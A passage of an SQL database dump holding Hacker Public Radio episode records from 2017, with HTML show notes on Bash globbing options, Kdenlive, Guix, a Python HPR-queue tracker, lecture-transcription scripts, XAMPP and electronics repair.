\"<em>Shop Sessions</em>\" by The Dimples</li>\r\n<li>Track: Drive (03:33)</li>\r\n<li>Genre: World</li>\r\n<li>Link: <a href=\"https://magnatune.com/artists/albums/dimples-shopsessions\" class=\"uri\">https://magnatune.com/artists/albums/dimples-shopsessions</a></li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://magnatune.com/\">Magnatune site</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1777\">Our previous HPR show of Magnatune tracks</a></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','Magnatune,music',0,0,1),
(2302,'2017-05-30','Bash snippet - nullglob',428,'After learning about the nullglob option I have started to use it','<h1 id=\"bash-snippet---nullglob\">Bash snippet - nullglob</h1>\r\n<p>I recently did an HPR show about <a href=\"https://hackerpublicradio.org/eps.php?id=2278\" title=\"Some supplementary Bash tips\">Bash filename expansion</a> and described the \'<code>shopt</code>\' command and its options. One of the options I talked about was \'<code>nullglob</code>\' which controls what is returned from an expansion when no files match.</p>\r\n<p>When \'<code>nullglob</code>\' is enabled, and a pattern does not match, nothing is returned. When it is disabled (the default) then the pattern itself is returned.</p>\r\n<p>Although I didn\'t think I\'d ever need to, I recently wrote a script where I used \'<code>nullglob</code>\', and thought I would share a snippet of the code to demonstrate what I did.</p>\r\n<p>The script is for managing mail messages containing tag and summary updates. I use Thunderbird for my mail and have configured it to drop these messages into a directory so I can process them. I use Thunderbird\'s message filters to do this. A certain amount of Spam is also received, and sometimes valid messages need a bit of work before they can be processed.</p>\r\n<p>The directory where the messages are saved (the spool area) is stored in the variable \'<code>MAILDROP</code>\' earlier in the script.</p>\r\n<pre><code>  1 #\r\n  2 # Find the files and store their names in an array. Use &#39;nullglob&#39; so we get\r\n  3 # nothing when there is nothing, then revert to the original setting\r\n  4 #\r\n  5 NG=&quot;$(shopt -p nullglob)&quot;\r\n  6 shopt -s nullglob\r\n  7 MESSAGES=( $MAILDROP/*.eml )\r\n  8 eval &quot;$NG&quot;\r\n  9 \r\n 10 #\r\n 11 # Exit if there&#39;s nothing to do or report what&#39;s there\r\n 12 #\r\n 13 if [[ ${#MESSAGES[@]} -gt 0 ]]; then\r\n 14     echo &quot;Files in the spool area:&quot;\r\n 15     printf &quot;%s\\n&quot; &quot;${MESSAGES[@]}&quot;\r\n 16 else\r\n 17     echo &quot;The spool area is empty&quot;\r\n 18     exit\r\n 19 fi</code></pre>\r\n<p>The variable \'<code>NG</code>\' holds the state of \'<code>nullglob</code>\' before the script modifies it. Remember that \'<code>shopt -p</code>\' returns a list of commands that will revert the named options to their current state.</p>\r\n<p>Next (line 6) the \'<code>nullglob</code>\' option is enabled.</p>\r\n<p>The array \'<code>MESSAGES</code>\' is created on line 7 to hold the list of mail files found in the spool area. This is done with a pattern which matches files that end with the string \'<code>.eml</code>\'. If we didn\'t have \'<code>nullglob</code>\' enabled then when there were no files the array would contain the pattern - which would be misleading.</p>\r\n<p>Having collected the file details \'<code>nullglob</code>\' is turned off by executing the command in the variable \'<code>NG</code>\' on line 8.</p>\r\n<p>You might think that the script could just turn \'<code>nullglob</code>\' on then turn it off again when it\'s no longer needed. However, I prefer to use the technique I have shown here because it needs to have no knowledge of the state of the option before it\'s set, and restores that state afterwards.</p>\r\n<p>By line 13 the array \'<code>MESSAGES</code>\' either contains a list of files or is empty. The script checks for these two cases by determining how many elements are in the array. Greater than zero means we have files to process and they are listed in lines 14 and 15. The script then goes on to do various things with the files.</p>\r\n<p>If there were no files then the script reports this and exits.</p>\r\n<p>That\'s it! This is not the only way to do this, but I like to write scripts that call as few sub-processes as I can, and this way appeals for that reason.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>HPR show 1648 <a href=\"https://hackerpublicradio.org/eps.php?id=1648\"><em>Bash parameter manipulation</em></a> looks at variables and arrays in Bash</li>\r\n<li>HPR show 2278 <a href=\"https://hackerpublicradio.org/eps.php?id=2278\"><em>Some supplementary Bash tips</em></a> introduces \'<code>shopt</code>\' and \'<code>nullglob</code>\'.</li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,shopt,filename expansion',0,0,1),
(2298,'2017-05-24','Phantom Power Drain',273,'diagnosing a phantom power drain on an automobile','<ol start=\"0\" type=\"1\">\r\n<li>disconnect negative battery cable.</li>\r\n<li>connect multimeter between battery and cable.</li>\r\n<li>read amp draw... 15-20 <s>millivolts</s> milliamps is on the high end.</li>\r\n<li>unplug fuses one at a time, until the problem circuit is identified.</li>\r\n</ol>\r\n<p>... some lip smacking, and vocal fry.</p>\r\n\r\n<p><small><small>Corrected 2017-05-27 - Editor</small></small></p>\r\n',329,0,1,'CC-BY-SA','automotive',0,0,1),
(2303,'2017-05-31','Kdenlive Part 5 All About Audio',922,'Recording Audio in Kdenlive','<p>Hello again HPR listeners this is Geddes with you again with Kdenlive part 5 All About Audio. The topics included are:</p>\r\n<ul>\r\n<li><p>Audio Recording and Synchronization</p></li>\r\n<li><p>Best Practices for a Basic Mix</p></li>\r\n<li><p>Exporting</p></li>\r\n</ul>\r\n<p>Here\'s the link to the original article. <a href=\"https://opensource.com/life/11/12/kdenlive-part-5-all-about-audio\" class=\"uri\">https://opensource.com/life/11/12/kdenlive-part-5-all-about-audio</a></p>',310,0,0,'CC-BY-SA','Kdenlive,opensource.com,recording,audio',0,0,1),
(2305,'2017-06-02','Configuring an HP Laptop for Dual Boot Linux and Windows 10',684,'Installing Linux Ubuntu GNOME to dual boot with Windows 10 on an HP laptop.','<p>This presentation describes the installation of Ubuntu GNOME 16.04 to dual boot with Windows 10 Home on an HP Spectre x360-13 laptop. Previously, I had been using Linux in a virtual machine on Windows. After the update, there was a very significant improvement in performance working in Linux without the Windows/VM overhead. It turned out to not be difficult and was certainly worth doing.</p>\r\n<p>I found a lot of helpful information here: <a href=\"https://askubuntu.com/questions/666631\" class=\"uri\">https://askubuntu.com/questions/666631</a></p>\r\n<p>Get Clonezilla here: <a href=\"https://clonezilla.org/\" class=\"uri\">https://clonezilla.org/</a></p>\r\n',356,0,0,'CC-BY-SA','Linux, Dual-boot',0,0,1),
(2340,'2017-07-21','Tracking the HPR queue in Python',1292,'I explain how I capture the number of HPR shows in the queue using python','<p>In this episode I explain how I use python to track the number of shows in the HPR queue and then turn on a blinkstick to indicate the size of the queue.</p>\r\n<ul>\r\n<li><p>Stack exchange<br />\r\n<a href=\"https://stackoverflow.com/\" class=\"uri\">https://stackoverflow.com/</a></p></li>\r\n<li><p>urllib (Python 3), urllib2 (Python 2)<br />\r\n<a href=\"https://docs.python.org/2/library/urllib.html\" class=\"uri\">https://docs.python.org/2/library/urllib.html</a></p></li>\r\n<li><p>re - regular expressions in python<br />\r\n<a href=\"https://docs.python.org/2/library/re.html\" class=\"uri\">https://docs.python.org/2/library/re.html</a></p></li>\r\n<li><p>Blinkstick<br />\r\n<a href=\"https://www.blinkstick.com/\" class=\"uri\">https://www.blinkstick.com/</a></p></li>\r\n</ul>\r\n<p>Python code included below</p>\r\n<pre><code>#!/usr/bin/env python3\r\n\r\n### This is a scratchpad file I&#39;ve created to try out snippets of code in python\r\n\r\n# The script below is for use with Python 3\r\n# This script should work out of the box on most systems running a version of Python 3 \r\n# If you happen to have a blinkstick lying about then your can uncomment the blinkstick module\r\n# and uncomment the references at the bottom of the program that call the blinkstick functions\r\n# Regards, Mr X\r\n\r\n\r\n# Imported modules\r\nfrom time import sleep          # used to pause program\r\n#from blinkstick import blinkstick  # used to control blinkstick nano attached to usb port of raspberry pi\r\nimport urllib.request           # used to capture hpr webpage content to get the number of HPR shows in the que\r\nimport re               # regular expressions, used to find sting in HPR webpage (get_hpr_que)\r\n\r\n\r\n# These functions control a blink stick nano attached to my raspberry pi USB port #################\r\n# They can be ignored or deleted if you don&#39;t have one\r\n\r\n\r\ndef bstick_off():\r\n# Search for all attached blinksticks and turn them all off\r\n    for bstick in blinkstick.find_all():\r\n        bstick.turn_off()   # Turn front blinkstick LED off\r\n        bstick.set_color(channel=0, index=1, name=&quot;black&quot;)  # Turn rear blinkstick led off\r\n        print(&quot;Blinkstick: &quot; + bstick.get_serial() + &quot; turned off&quot;)\r\n\r\n\r\ndef bstick_on(colour):\r\n# Turn blinkstick on and set led colour to string value stored in var colour\r\n# valid colours are, black, silver, gray, white, maroon, red, purple, fuchsia, green, lime, olive, yellow, navy, blue, teal, aqua\r\n    for bstick in blinkstick.find_all():\r\n        bstick.set_max_rgb_value(30)        # Sets max blinkstick RGB value to 15, makes LED dimm\r\n        bstick.set_color(name=colour)       # Turn blinkstick on, var colour determines colour\r\n        print (&quot;Blinkstick: &quot; + bstick.get_serial() + &quot; | Colour: &quot; + bstick.get_color(color_format=&quot;hex&quot;) + &quot; [&quot; + colour + &quot;]&quot;)\r\n#hex\r\n\r\ndef bstick_on_random():\r\n# Turn blinkstick on colour random\r\n    for bstick in blinkstick.find_all():\r\n        bstick.set_random_color()\r\n        print (&quot;Blinkstick: &quot; + bstick.get_serial() + &quot; | Colour: &quot; + bstick.get_color(color_format=&quot;hex&quot;))\r\n\r\n\r\ndef bstick_blink_red():\r\n# Flash blinkstick colour red\r\n    for bstick in blinkstick.find_all():\r\n        bstick.blink(name=&quot;red&quot;)\r\n        print (&quot;Blinkstick: &quot; + bstick.get_serial() + &quot; | Colour: &quot; + bstick.get_color(color_format=&quot;hex&quot;))\r\n\r\n################################################################################\r\n\r\n\r\ndef get_hpr_que():\r\n# Goto hacker public radio calendar page and extract the number of shows in the queue\r\n# then return the number of shows as an integer\r\n# also turns on blinkstick LED and sends number of HPR shows in the que to the display\r\n\r\n    url = &#39;https://hackerpublicradio.org/calendar.php&#39;   # HPR url for calendar page\r\n    try:\r\n        html_content = urllib.request.urlopen(url).read()   # Try to read hpr calendar page\r\n    except:\r\n        print(&quot;ERROR: Problem acessing url &quot; + url)     # if error accessing url then return -1\r\n        hpr_shows = -1\r\n        return hpr_shows\r\n    html_page = str(html_content)   # convert to string\r\n    line_begin = html_page.find(&#39;There are only &lt;strong&gt;&#39;) # find position of string in html page\r\n    line_end = line_begin + 70 # Store line end position (start position + 70)\r\n    line = html_page[line_begin:line_end]  # Capture string line\r\n    #print(line) # DEBUG Print line string\r\n    digit = re.findall(r&#39;\\d+&#39;,line)         # Find digits in line\r\n    #print(digit[0])    # print the 1st digit\r\n    try:\r\n        hpr_shows = int(digit[0])   # convert digit list to integer days\r\n    except:                         # If show numbers not found then return -1\r\n        print(&quot;ERROR: Problem getting number of HPR shows in que.&quot;)\r\n        hpr_shows = -1\r\n        return hpr_shows\r\n    #print(hpr_shows) # DEBUG\r\n    #return hpr_shows\r\n    if hpr_shows &gt; 9:       # If hpr show que &gt; 9 turn on green LED\r\n        print(&quot;Turn on green blinkstick LED&quot;)\r\n        #bstick_on(&quot;green&quot;)\r\n    elif hpr_shows &gt; 5:     # Else if hpr show que &gt; 5 turn on blue LED\r\n        print(&quot;Turn on blue blinkstick LED&quot;)\r\n        #bstick_on(&quot;blue&quot;)\r\n    elif hpr_shows &gt; -1:    # Else if hpr show que &gt; -1 turn on ref LED\r\n        print(&quot;Turn on red blinkstick LED&quot;)     \r\n        #bstick_on(&quot;red&quot;)\r\n    else:\r\n        print(&quot;Flash red blinkstick LED&quot;)\r\n        #bstick_blink_red() # Else blink LED to show error\r\n    print(&quot;The are &quot; + str(hpr_shows) + &quot; shows in the HPR que...&quot;)\r\n    sleep(4)\r\n    print(&quot;Turn off all blinkstick LED&#39;s&quot;)\r\n    #bstick_off()           # Turn blinkstick off\r\n\r\n\r\n# Main program\r\nget_hpr_que()</code></pre>\r\n',201,0,0,'CC-BY-SA','Python, Programming, Hardware, BlinkStick',0,0,1),
(2308,'2017-06-07','Everyday package operations in Guix',986,'Here\'s how I use Guix in my day-to-day. Fleshed out audio of a comment on ep 2198.','<p>Back at <a href=\"https://hackerpublicradio.org/eps.php?id=2198\">hpr2198 :: How awesome is Guix and why will it take over the world</a> I wrote a comment about how I use <a href=\"https://guixsd.org/\">guix</a> in everyday practice. Here\'s the full episode for that comment.</p>\r\n<p>The most common operations I do are:</p>\r\n<ul>\r\n<li><code>guix environment --ad-hoc ncdu</code>, where <em>ncdu</em> stands for something I heard about and want to try out, or something I only use once a month. It is then “installed” in the spawned sub-shell only. This is an awesome feature.  <ul>\r\n<li>If you haven’t heard about <a href=\"https://en.wikipedia.org/wiki/ncdu\">ncdu</a>, look it up.</li>\r\n<li>Also in <code>~/.bash_aliases</code></li>\r\n<li>Also in <code>~/.local/share/applications</code>\r\n    <ul><li>Using <code>stow</code>, of course</li></ul>\r\n</li></ul></li>\r\n<li><code>guix package -i ncdu</code> if it turned out to be something I like and use every day</li>\r\n<li><code>guix pull</code> to get the latest definitions for this user</li>\r\n<li><code>guix package -u</code> to upgrade my permanently installed stuff for this user</li>\r\n<li><code>guix package -d</code> to erase history of what I had installed before and release these references for collection</li>\r\n<li><p><code>guix gc</code> to reclaim my precious disk space</p>\r\n</li>\r\n<li><p>Followup episode material:</p>\r\n<ul>\r\n<li><em>What\'s in my <a href=\"https://git.scuttlebot.io/%25jGFgjma3hzJfGPG5NG3neRygqy4i6WUqm1PBKsB6iEI%3D.sha256/blob/c7b2d0bce3b000f41b31dc1decd3e89822e355b7/.bash_aliases\"><code>.bash_aliases</code></a>?</em></li>\r\n<li><em>Decentralized source control, for real this time, with <a href=\"https://git-ssb.celehner.com/%25RPKzL382v2fAia5HuDNHD5kkFdlP7bGvXQApSXqOBwc%3D.sha256\"><code>git-ssb</code></a></em></li>\r\n<li><em>What\'s so great about <a href=\"https://www.skarnet.org/software/execline/\">execline</a>?</em></li>\r\n<li><em>What\'s a <code>stow</code>?</em><ul><li><em>How I got rid of stow and learned to love guix to the fullest</em> (Future episode. That\'s not where I am today.)</li>\r\n<li>Listen kids, <a href=\"https://gnusocial.club/conversation/71960#notice-189418\">stow is not a package manager</a> (warning: fediverse drama ahead). It\'s a symlink farm manager that I use for package management.</li></ul></li>\r\n<li>Very short episode: <em>ncdu, eh?</em></li>\r\n</ul>\r\n</li>\r\n</ul>',311,0,0,'CC-BY-SA','guix,linux,nix,sysadmin,development',0,0,1),
(2309,'2017-06-08','Crowdsourcing Accessibility',1354,'A show about my efforts to get lots of students to help correct transcriptions of my online lectures','<p>In order to meet basic accessibility standards, I need to have text alternatives to the audio of my online video lectures for my music appreciation class. I have a transcription tool called <a href=\"https://shop.nuance.com/store/nuanceus/Custom/pbpage.dragon-professional-individual-for-mac6&kpid=PLA_Nuance_Dragon_Prof_Individual_Mac\">Dragon Dictate</a> that can do most of the heavy lifting as far as getting a raw transcript of the audio, but the transcription it generates needs a lot of attention in terms of correction, capitalization, and punctuation. It also needs to have all of the text separated into logical paragraphs and it really helps to have proper section headings. </p>\r\n\r\n<p>There are 20 lectures in all, and I have finished doing 11 of them, but I still have nine to go and no time to do it. I had an idea to crowdsource this effort by giving extra-credit points to my students for doing little bits of it at a time. They get one extra-credit point for every one minute of lecture that they correct.</p>\r\n\r\n<p>I got the idea for this from the <a href=\"https://www.pgdp.net/c/\">Distributed Proofreaders</a> project, where volunteers work to help correct any mistakes that are found in the OCR scans of public-domain books before being posted on a website like <a href=\"https://www.gutenberg.org/\">Project Gutenberg</a>. So far I\'ve gotten about 30 minutes of lecture transcripts corrected by students who needed extra credit, and I have high hopes that we will finish the project either this summer or next fall.</p>\r\n\r\n<p>One excellent tool that I found while I was figuring out how to handle this project logistically is the Linux command line tool called <a href=\"https://mp3splt.sourceforge.net/mp3splt_page/downloads.php\">mp3splt</a>. I use this tool to cut the long lecture files up into one-minute segments like so:</p>\r\n\r\n<pre>mp3splt -t 1.0.0 L13audio.mp3</pre>\r\n\r\n<p>I also wrote my own script that will generate an HTML page with individual audio players for all of these one-minute audio files so that students can very easily choose an audio file to work on that is exactly one minute long. The script also pushes all of the audio files over to my server after creating <code>ogg</code> versions of the mp3s using <a href=\"https://sourceforge.net/projects/mp3-2-ogg/\">mp32ogg</a>.</p>\r\n\r\n\r\n<pre>#!/bin/bash<br/>\r\n\r\nurl=\'https://servername.edu/path/to/filedir\'\r\npage=$(pwd)/$(basename $(pwd))_page.html\r\n\r\nLESSON=$(ls *.mp3 |head -n1 | sed -e \'s/audio.*$//\')\r\n\r\ncat &gt;&gt; $page &lt;&lt;EOFtop\r\n&lt;h2&gt;&lt;a href=&quot;https://servername.edu/path/to/filedir/$LESSON.html&quot;&gt;RAW TRANSCRIPT HERE&lt;/a&gt;&lt;/h2&gt;\r\nEOFtop\r\n\r\nfor i in *.mp3; do\r\n  stem=$(basename $i .mp3)\r\n  mp32ogg $i \r\n  sleep .2\r\ncat &gt;&gt; $page &lt;&lt;EOF\r\n\r\n&lt;h3&gt;File: &quot;$i&quot;&lt;/h3&gt;\r\n&lt;div class=&quot;centered&quot;&gt;\r\n	&lt;audio controls&gt;\r\n		&lt;source src=&quot;$url/$stem.mp3&quot; type=&quot;audio/mpeg&quot;&gt;\r\n		&lt;source src=&quot;$url/$stem.ogg&quot; type=&quot;audio/ogg&quot;&gt;\r\n	&lt;/audio&gt;\r\n&lt;/div&gt;\r\nEOF\r\ndone\r\n\r\nscp *.ogg servername:~/path/to/filedir/\r\nsleep 1\r\nscp *.mp3 servername:~/path/to/filedir/\r\n#sleep 1\r\nscp $page servername:~/path/to/filedir/\r\n</pre>\r\n\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://www.merriam-webster.com/dictionary/bloviate\">Bloviate</a>: to speak or write verbosely and windily&mdash;pundits bloviating on the radio</li>\r\n</ul>\r\n',238,79,0,'CC-BY-SA','Accessibility, scripting, audio editing, speech-to-text',0,0,1),
(2310,'2017-06-09','Kdenlive Part 6 Workflow and Conclusion. ',1136,'A look at the final Kdenlive project workflow and conclusion.','<p>Hello HPR listeners this is Geddes with part 6 the final article in this Kdenlive series entitled Workflow and Conclusion.</p>\r\n<p>The topics included are:</p>\r\n<ul>\r\n<li>The Gold Master</li>\r\n<li>The render menu and the gold master</li>\r\n<li>Encoding Workflow</li>\r\n<li>Post production workflow</li>\r\n<li>Conclusion</li>\r\n</ul>\r\n<p>Here\'s the link to the original article.</p>\r\n<p><a href=\"https://opensource.com/life/12/1/kdenlive-part-6-workflow-and-conclusion\" class=\"uri\">https://opensource.com/life/12/1/kdenlive-part-6-workflow-and-conclusion</a></p>\r\n',310,0,0,'CC-BY-SA','Kdenlive,opensource.com,workflow',0,0,1),
(2312,'2017-06-13','Troubleshooting Websites with XAMPP',886,'Frank describes how he used XAMPP to clone his website to localhost so he could shoot some trouble.','<h2 id=\"using-xammp-to-toubleshoot-a-website\">Using XAMMP To Toubleshoot a Website</h2>\r\n<p>XAMMP is package containing a complete LAMPP stack configured to work out of the box. It is avalable for Mac, Windows, and Linux from ApacheFriends.org and includes</p>\r\n<ol type=\"1\">\r\n<li>Apache</li>\r\n<li>MariaDB</li>\r\n<li>PHP</li>\r\n<li>Perl</li>\r\n</ol>\r\n<p>XAMPP is excellent for testing a new website, testing updates for an existing site, or troubleshooting a misbehaving site.</p>\r\n<p>In this podcast, Frank tells how to set up XAMPP against the background of having recently had to troubleshoot his own recalcitrant website.</p>\r\n<p>XAMPP startup messages:</p>\r\n<pre><code># cd /opt/lampp\r\n# ./lampp start\r\nStarting XAMPP for Linux 5.6.30-0...\r\nXAMPP: Starting Apache...ok.\r\nXAMPP: Starting MySQL...ok.\r\nXAMPP: Starting ProFTPD...ok.</code></pre>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li>Apache Friends: <a href=\"https://www.apachefriends.org/index.html\">https://www.apachefriends.org/index.html</a></li>\r\n<li>The XAMPP Linux FAQ: <a href=\"https://www.apachefriends.org/faq_linux.htmlXAMPP\">https://www.apachefriends.org/faq_linux.htmlXAMPP</a></li>\r\n<li>Frank\'s Blog Post about Troubleshooting with XAMPP (on which this podcast is based): <a href=\"https://pineviewfarm.net/weblog/2017/03/86811/\">https://pineviewfarm.net/weblog/2017/03/86811/</a></li>\r\n</ul>',195,0,0,'CC-BY-SA','XAMPP,Apache,PHP,Perl,Wordpress',0,0,1),
(2313,'2017-06-14','NilFS2',2099,'Klaatu talks about NilFS2','<p>\r\nKlaatu talks about NilFS2, including how to monitor checkpoints, create snapshots, and browse snapshots.\r\n</p>\r\n<p>\r\nNILFS or NILFS2 (New Implementation of a Log-structured File System) is a log-structured file system implementation for the Linux kernel. It is being developed by Nippon Telegraph and Telephone Corporation (NTT) CyberSpace Laboratories and a community from all over the world. NILFS was released under the terms of the GNU General Public License (GPL).\r\n<br />\r\n<a href=\"https://en.wikipedia.org/wiki/NILFS\">https://en.wikipedia.org/wiki/NILFS</a>\r\n</p>\r\n<p>\r\n<a href=\"https://nilfs.sourceforge.net/en/\">https://nilfs.sourceforge.net/en/</a>\r\n</p>\r\n',78,77,0,'CC-BY-SA','file system,NILFS,NILFS2,checkpoint,snapshot',0,0,1),
(2317,'2017-06-20','Bash snippet - extglob and scp',1707,'How does scp manage extended glob patterns?','<h1 id=\"bash-snippet---extglob-and-scp\">Bash snippet - extglob and scp</h1>\r\n<h2 id=\"the-problem\">The Problem</h2>\r\n<p>Following on from my last show on <a href=\"https://hackerpublicradio.org/eps.php?id=2293\" title=\"More supplementary Bash tips\">filename expansion</a>, concentrating on extended patterns and the <code>extglob</code> option, I was asked a question by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" title=\"HPR Host Jon Kulp\">Jon Kulp</a> in the comment section.</p>\r\n<p>Jon was using <code>ls *(*.mp3|*.ogg)</code> to find all OGG and MP3 files in a directory which also held other files. However, when he wanted to copy this subset of files elsewhere he had problems using this expression in an <code>scp</code> command.</p>\r\n<p>Having done some investigations to help solve this I thought I\'d put what I found into an HPR episode and share it, and this is the show.</p>\r\n<p>Along the way <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" title=\"HPR Host clacke\">clacke</a> commented too and this led me to more investigations!</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>As often happens, my idea of a brief episode turned into something much longer, so I converted the notes into <a href=\"https://hackerpublicradio.org/eps/hpr2317/full_shownotes.html\">long notes which you can find here</a>. In them I have marked some sections which you might want to skip over -- unless you are as much of a geek as I am! I have not covered these sections in detail in the audio.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>HPR Show 2293: <a href=\"https://hackerpublicradio.org/eps.php?id=2293\">More supplementary Bash tips</a></li>\r\n<li>StackExchange question: <a href=\"https://unix.stackexchange.com/questions/103058/exclude-characters-for-scp-filepattern\">Exclude characters for SCP-filepattern</a></li>\r\n</ul>',225,42,1,'CC-BY-SA','Bash,shopt,filename expansion,scp,rsync',0,0,1),
(2314,'2017-06-15','Bad Caps',1584,'NYbill talking about repairing a computer motherboard.','\r\n<p>NYbill talks about repairing a motherboard.</p>\r\n<p>Errata:</p>\r\n<p>Even though I go into a bit about different types of capacitors I didn\'t plan on this being an episode about capacitors themselves. Even though I mention some different types. Bonus, there are also Trimmer Caps.</p>\r\n<p>And yes, I know LCD\'s don\'t have a trace. The old school CRT user popped out there. You all knew what I meant.</p>\r\n<p>Also, I know I mentioned getting a 90 piece cap set from Banggood. I decided to order proper Nichicon replacements from Digikey. Had this been a repair for myself, I would use the no name caps I ordered from China. But, being this repair is for a friend, I figured I better get the real deal. ...BTW they were 220 uf caps.</p>\r\n<p>(Thanks Jezra for the musical interlude. We were joking calling it, &quot;Time Passing&quot;.)</p>\r\n<p>Pics for the episode:</p>\r\n<ul>\r\n<li><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/bad-caps/\" class=\"uri\">https://media.gunmonkeynet.net/u/nybill/collection/bad-caps/</a></li>\r\n</ul>\r\n',235,103,1,'CC-BY-SA','repair,motherboard,capacitor,polymer electrolytic capacitor,ceramic capacitor',0,0,1),
(2315,'2017-06-16','Penguicon 2017 Report',1211,'Penguicon 2017 took place on April 28-30, 2017 in Southfield, Michigan','<p>Penguicon 2017 is a combined technology and science fiction convention in Southfield, Michigan, a suburb of Detroit, and presents over 500 hours of programming over the entire weekend. Of this, around 100 hours are open source, tech-related. In this episode I tell you about my own personal experience at Penguicon this year.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://2017.penguicon.org/\" class=\"uri\">https://2017.penguicon.org/</a></li>\r\n</ul>',198,0,1,'CC-BY-SA','Penguicon 2017, open source event',0,0,1),
(2325,'2017-06-30','Insurance - How It Works',1292,'To begin discussing the policy we need to first explain how insurance works','<p>Health policy is difficult and tricky. In the U.S. health care is mostly financed through insurance. How does that work, and what does it imply. There are some hard truths here.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://discoveringwisdom.com/2013/06/07/life-is-uncertain-eat-dessert-first/\" class=\"uri\">https://discoveringwisdom.com/2013/06/07/life-is-uncertain-eat-dessert-first/</a></li>\r\n<li><a href=\"https://www.actuary.org/files/publications/risk_pool_july2009.pdf\" class=\"uri\">https://www.actuary.org/files/publications/risk_pool_july2009.pdf</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Moral_hazard\" class=\"uri\">https://en.wikipedia.org/wiki/Moral_hazard</a></li>\r\n<li><a href=\"https://www.oregonlaws.org/glossary/definition/actuarially_sound\" class=\"uri\">https://www.oregonlaws.org/glossary/definition/actuarially_sound</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=272\" class=\"uri\">https://www.palain.com/?page_id=272</a></li>\r\n</ul>\r\n',198,100,0,'CC-BY-SA','Health Insurance, Health Policy',0,0,1),
(2319,'2017-06-22','Minimal Music Site 17.05.39 now available on sourceforge.net',1809,'MattKingUSA review of dell gaming laptop and an update on Minimal Music Site','<p>Hey this is MattKingUSA doing an update of my project Minimal Music Site. And also a review of my new laptop! Thanks for listening!</p>\r\n<ul>\r\n<li><p><a href=\"https://m.dell.com/mt/www.dell.com/uk/p/inspiron-15-7567-laptop/pd?oc=cn56701&amp;model_id=inspiron-15-7567-laptop\" class=\"uri\">https://m.dell.com/mt/www.dell.com/uk/p/inspiron-15-7567-laptop/pd?oc=cn56701&amp;model_id=inspiron-15-7567-laptop</a></p></li>\r\n<li><p><a href=\"https://www.minimalmusicsite.org\" class=\"uri\">https://www.minimalmusicsite.org</a></p></li>\r\n</ul>',340,0,1,'CC-BY-SA','review,laptop,php,cms,music',0,0,1),
(2320,'2017-06-23','Living Computers: Museum + Labs',938,'Free Shell accounts on old Computers with old programing langs','<p>From Wikipedia:</p>\r\n<blockquote>\r\n<p>Living Computers: Museum + Labs (LCM+L) is a computer and technology museum located in the SoDo neighborhood of Seattle, Washington. LCM+L showcases vintage computers which provide interactive sessions, either through time-sharing operating systems or single-user interfaces. This gives users a chance to actually use the computers on-line or in person in the museum. An expansion adds direct touch experiences with contemporary technologies such as virtual reality, self-driving cars, the internet of things, and robotics. This puts today\'s computer technology in the context of how it\'s being used to tackle real-world issues. LCM+L also hosts a wide range of educational programs and events in their state-of-the art classroom and lab spaces.</p>\r\n</blockquote>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Living_Computers:_Museum_%2B_Labs\">https://en.wikipedia.org/wiki/Living_Computers:_Museum_%2B_Labs</a></li>\r\n<li><a href=\"https://www.livingcomputers.org/\" class=\"uri\">https://www.livingcomputers.org/</a></li>\r\n</ul>',129,0,0,'CC-BY-SA','museum,vintage computer',0,0,1),
(2329,'2017-07-06','Building a Digital Clock Kit',1707,'I bought a self-build digital clock on eBay and document the building process','<h1 id=\"building-a-digital-clock-kit\">Building a Digital Clock Kit</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>In April 2017 my son and I decided to each build a digital clock. I had been interested in the idea since seeing <a href=\"https://www.youtube.com/watch?v=8Ty5Bnj2XqE\" title=\"eBay clock kit. Full build and setting guide.\">Big Clive</a> build one on YouTube, and I think my son had been similarly motivated.</p>\r\n<p>He found one, which I have <a href=\"https://www.ebay.co.uk/itm/162310902696\" title=\"4-Digit LED DIY Digital Electronic Micro Controller Kit Clock Time Thermometer\">linked</a> to below. It\'s smaller than the one shown by Big Clive, comes from ShenZhen China, and costs $5.35 (about £4.18) postage free. It takes a <em>long</em> time to arrive, so patience is needed!</p>\r\n<p>There are <u>many</u> digital clock kits on eBay, and lots of YouTube videos showing how to build them. I think it\'s a great project for someone wanting some soldering practice which is a little more demanding than a beginner project.</p>\r\n<p>One type to avoid, I think, is the surface mount type. The one I have uses a through-hole PCB, but I have seen some that provide SMD (surface-mounted device) components. That type of soldering is beyond me at the moment (though my son has been teaching himself to do it).</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes detailing the unpacking and building of this device, with photographs. These are available <a href=\"https://hackerpublicradio.org/eps/hpr2329/full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Youtube bigclivedotcom: <a href=\"https://www.youtube.com/watch?v=8Ty5Bnj2XqE\">eBay clock kit. Full build and setting guide.</a></li>\r\n<li>eBay item: <a href=\"https://www.ebay.co.uk/itm/162310902696\">4-Digit LED DIY Digital Electronic Micro Controller Kit Clock Time Thermometer</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2329/full_shownotes.html\">Full details of the build with photographs</a></li>\r\n</ul>',225,103,1,'CC-BY-SA','electronics,clock,soldering',0,0,1),
